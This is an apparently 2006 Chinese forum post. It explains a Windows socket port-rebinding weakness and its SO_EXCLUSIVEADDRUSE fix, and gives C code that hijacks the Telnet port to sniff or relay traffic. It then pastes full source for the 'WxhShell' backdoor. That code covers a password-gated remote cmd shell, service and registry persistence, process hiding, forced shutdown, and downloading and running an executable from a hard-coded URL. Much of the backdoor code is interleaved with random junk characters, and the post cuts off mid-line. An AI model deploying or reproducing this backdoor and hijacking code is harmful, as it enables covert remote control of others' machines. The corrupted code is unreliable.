[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; dP82bk/e
if(chr[0]==0xd || chr[0]==0xa) { C[75!F
pwd=0; d2pVO]l YZ
break; ZPXxrmq%
} s\@!J.Da
i++; hUqIjcuL4
} :>|[ o&L
N*eZ4s'
// 如果是非法用户，关闭 socket DUaj]V{_^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KyjN'F$
} 0ZO!_3m$r
/0A}N$?>:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V[#jrwhA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7a2uNt,X
]'hz+V31%
while(1) { zFlW\wc
[j):2
ZeroMemory(cmd,KEY_BUFF); .RdnJ&K*
zMtx>VI
// 自动支持客户端 telnet标准 b^0=X!bg
j=0; q%nWBmPZ~y
while(j<KEY_BUFF) { 'Je;3"@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uT_bA0jK
cmd[j]=chr[0]; WmeV[iI
if(chr[0]==0xa || chr[0]==0xd) { {$Qw]?Yv
cmd[j]=0; W 5-=,t
break; 3qP! (*
} nBR4j?':i
j++; yN9/'c~
} Mp}U>+8
+d<o2n4!
// 下载文件 eGjEO&$
if(strstr(cmd,"http://")) { *5u0`k^j
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'bTtdFvJ
if(DownloadFile(cmd,wsh)) *&XOzaVU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/eE^o~;
else Hi#hf"V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R,8;GS42
} +Y-Gp4"
else { RK< uAiU
>HyZ~M
switch(cmd[0]) { V3 2F
XsEDI?p2
// 帮助 09/Mg
case '?': { `KB;3L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6YNd;,it>p
break; L\aG.\
} }gete'I
// 安装 r[K%8Y8`
case 'i': { wZ0RI{)s'
if(Install()) X3@Uih}|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;O+= 6>W
else nH_M#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )1N~-VuT
break; Dr)B0]KG
} ',P$m&z
// 卸载 h:xvnyaI
case 'r': { <v%Q|r
if(Uninstall()) 0-6rIdDTM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :pq+SifP
else Fsz;T;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6o6I]QL
break; n86LU Sj5
} !cW6dc^
// 显示 wxhshell 所在路径 x.8fxogz
case 'p': { ew?4;
char svExeFile[MAX_PATH]; "Doz~R\\
strcpy(svExeFile,"\n\r"); 1R-WJph
strcat(svExeFile,ExeFile); 7_HFQT1.N
send(wsh,svExeFile,strlen(svExeFile),0); ^VOFkUp)
break; H}?"2jF
} id+ ~ V
// 重启 ?k@^U9?R
case 'b': { Ir#]p9:x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F$M^}vsjGx
if(Boot(REBOOT)) pLSh +*F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJCs$0
else { 7H.3.j(L
closesocket(wsh); ?fW['%
ExitThread(0); e>0gE`8A
} DaP,3>M
break; AT%6K.
} 42M_ %l_
// 关机 41g "7Mk
case 'd': { CVE(N/&b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5:|9pe)
if(Boot(SHUTDOWN)) Np7+g`nG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tTOBKA89
else { ~[<C6{
closesocket(wsh); #zRHYZc'T|
ExitThread(0); fYSH]!
} [4w*<({*
break; agt/;>q\~
} Hsn'"
// 获取shell z^vfha
case 's': { qA0PGo
CmdShell(wsh); # ~Doz7~
closesocket(wsh); GXG 7P,p,
ExitThread(0); hi`[
break; 0 30LT$&!
} .+A)^A
// 退出 __!LTpp
case 'x': { D6-R>"}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,oykOda:|
CloseIt(wsh); (@->AJF1\
break; I3HO><of
} [;H-HpBaa
// 离开 kMJ}sS
case 'q': { $GP66Ev
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j"K^zh
closesocket(wsh); i-PK59VZ8f
WSACleanup(); }yVx"e)
exit(1); :_}xN!9LA
break; kDol1v`
} E;}&2 a
} 9U8x&Z]P
} ,Qx]_gZ`
Idb*,l|<
// 提示信息 `JO>g=,4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DQ(0:r
} 7Xx3s@
} n]df)a
yts@cd`$
return; R2v9gz;W
} !( >U3N
2xf#@`U
// shell模块句柄 ?a#Gn2
int CmdShell(SOCKET sock) _V4O#;%?
{ !KMl'kswe:
STARTUPINFO si; <rtKPlb//
ZeroMemory(&si,sizeof(si)); /jNvHo^B
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! ui
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^3[_4av
PROCESS_INFORMATION ProcessInfo; 3_<l`6^Ns/
char cmdline[]="cmd"; ,`JYFh M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sC.b'1P
return 0; Q7rBc wm5
} qCg<g
u$yXuFj/
// 自身启动模式 Vbt!, 2_)
int StartFromService(void) ^R=`<jx
{ ;89kL]
typedef struct HdN5zl,q
{ |Fe[RGi+8
DWORD ExitStatus; y_X jY
DWORD PebBaseAddress; aX`uF<c9
DWORD AffinityMask; V:w%5'^3
DWORD BasePriority; ?TeozhUY
ULONG UniqueProcessId; y{/7z}d
ULONG InheritedFromUniqueProcessId; 0KnL{Cj
} PROCESS_BASIC_INFORMATION; M^[;{p2uZ
_tJt eDRY
PROCNTQSIP NtQueryInformationProcess; ]L97k(:Ib
hH 5}%/vF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TKM^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4^uSW&`;/
E{EO9EI
HANDLE hProcess; KJRAW]?{
PROCESS_BASIC_INFORMATION pbi; & ?xR
Gsv<Rjj:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lhHH|~t0
if(NULL == hInst ) return 0; ydyTDn
g]lEG>y1R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p;>A:i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u [._RA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RI@\cJ\}
T/\RViG3
if (!NtQueryInformationProcess) return 0; y QClq{A
x>}ml\R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =nHKTB>
if(!hProcess) return 0; iP0m1
N2O *g`YC
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #h?IoB7
q)i %*IY
CloseHandle(hProcess); ?D6uviQg
6LBdTnzUd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jd](m:eG
if(hProcess==NULL) return 0; \= v.$u"c
Hl,{4%]
HMODULE hMod; >=[uLY[aK
char procName[255]; eJ99W=
unsigned long cbNeeded; Up{[baWF
:D*U4< /u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =..Bh8P71!
aOH|[
CloseHandle(hProcess); ^K;k4oK
EY)2,
if(strstr(procName,"services")) return 1; // 以服务启动 ZU73UL
g%&E~V/g$
return 0; // 注册表启动 zbmC?2$
} HEBeJ2w
+P^ ;7"H
// 主模块 #73pryXV
int StartWxhshell(LPSTR lpCmdLine) {1)A"lQu
{ w}gmVJ#p
SOCKET wsl; `Gqe]ZE#"
BOOL val=TRUE; <Z]#vrq
int port=0; "E(i<
struct sockaddr_in door; o/w3b8
T&lgWOls
if(wscfg.ws_autoins) Install(); 9B!Sv/)y!r
mux/\TII
port=atoi(lpCmdLine); QWk3y"5n<
YIg(^>sq
if(port<=0) port=wscfg.ws_port; cD0rU8x
XVqOiv)
WSADATA data; :~otzI4%!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LqbI/AQ)
vkIIuNdDlx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CIx(SeEF
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {Rkd;`Q`!
door.sin_family = AF_INET; lS4rpbU_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?H=q!i
door.sin_port = htons(port); 8:$h&aBI
t(u2%R4<d
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =]%JTGdp(
closesocket(wsl); VBX)xQazU
return 1; 0~bUW V
} Wef%f]u
C|V7ZL>W
if(listen(wsl,2) == INVALID_SOCKET) { ;Z]Wj9iY
closesocket(wsl); ij ?7MP
return 1; r{;NGQYs
} yp#!$+a}
Wxhshell(wsl); PMfW;%I.
WSACleanup(); 4yyw:"
ib=)N)l
return 0; Dh8ECy5k<*
gQ_<;'m)2
} )2&3D"V
tm+*ik=x|
// 以NT服务方式启动 hzo> :U
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G?s9c0f
{ o;$xN3f,
DWORD status = 0; 'JOUx_@z
DWORD specificError = 0xfffffff; ;7'O=%
KqK]R6>
serviceStatus.dwServiceType = SERVICE_WIN32; Ymz/:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; gJQ#j~'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :W.H#@'(
serviceStatus.dwWin32ExitCode = 0; rYb5#aT[
serviceStatus.dwServiceSpecificExitCode = 0; )9hqd
serviceStatus.dwCheckPoint = 0; WC#6(H5t$
serviceStatus.dwWaitHint = 0; V&*IZt&
,8e'<y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .PB!1C.}@
if (hServiceStatusHandle==0) return; o{PG& }K
rfqwxr45h
status = GetLastError(); Pk;\^DRC
if (status!=NO_ERROR) `D4Wg<,9
{ -c_l nK
serviceStatus.dwCurrentState = SERVICE_STOPPED; AY /9Io-
serviceStatus.dwCheckPoint = 0; .KrLvic
serviceStatus.dwWaitHint = 0; ?2]fE[SqY
serviceStatus.dwWin32ExitCode = status; @7Ec(]yp
serviceStatus.dwServiceSpecificExitCode = specificError; f/)Y {kS6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ui%#f1Iq
return; y98FEG#S}
} (VeK7cU
^&qK\m_A
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,b*?7R
serviceStatus.dwCheckPoint = 0; ciblj?"Wi
serviceStatus.dwWaitHint = 0; |p:4s"NT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bf_ >?F^
} t%:7W[_s
P T;{U<5
// 处理NT服务事件，比如：启动、停止 3"h*L8No
VOID WINAPI NTServiceHandler(DWORD fdwControl) EpS/"adI-!
{ &;DCN
switch(fdwControl) y!b2;- Dp
{ I~&*^q6 |
case SERVICE_CONTROL_STOP: GHsDZ(d3.
serviceStatus.dwWin32ExitCode = 0; s<!A<+Sh
serviceStatus.dwCurrentState = SERVICE_STOPPED; JWNN5#=fQ
serviceStatus.dwCheckPoint = 0; WZ'<iI
serviceStatus.dwWaitHint = 0; >V"{]v
{ 9<gW~ s>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); //&3{B
} &W\e 5X<A
return; ?MH=8Cl1w
case SERVICE_CONTROL_PAUSE: `i`P}W!F
serviceStatus.dwCurrentState = SERVICE_PAUSED; w|f+OlPXq
break; y!b"Cj
case SERVICE_CONTROL_CONTINUE: f)Qln[/
serviceStatus.dwCurrentState = SERVICE_RUNNING; \@@G\\)er
break; "yu{b]AU
case SERVICE_CONTROL_INTERROGATE: A[l )>:
break; "9;
}; HZ9>4G3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\oz
} Ic'D#m
G#%Sokkb'
// 标准应用程序主函数 & DP"RWT/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OeQ[-e
{ wq?"NQ?O<
iHv+I~/
// 获取操作系统版本 F@<cp ?dR
OsIsNt=GetOsVer(); >g$iO`2
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1)~|{X+~
OC&BJNOi
// 从命令行安装 x// uF
if(strpbrk(lpCmdLine,"iI")) Install(); f#l9rV"@g
^&;,n.X5Z
// 下载执行文件 K@p9_K8
if(wscfg.ws_downexe) { ^]o H}lwO
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n/v.U,f&l@
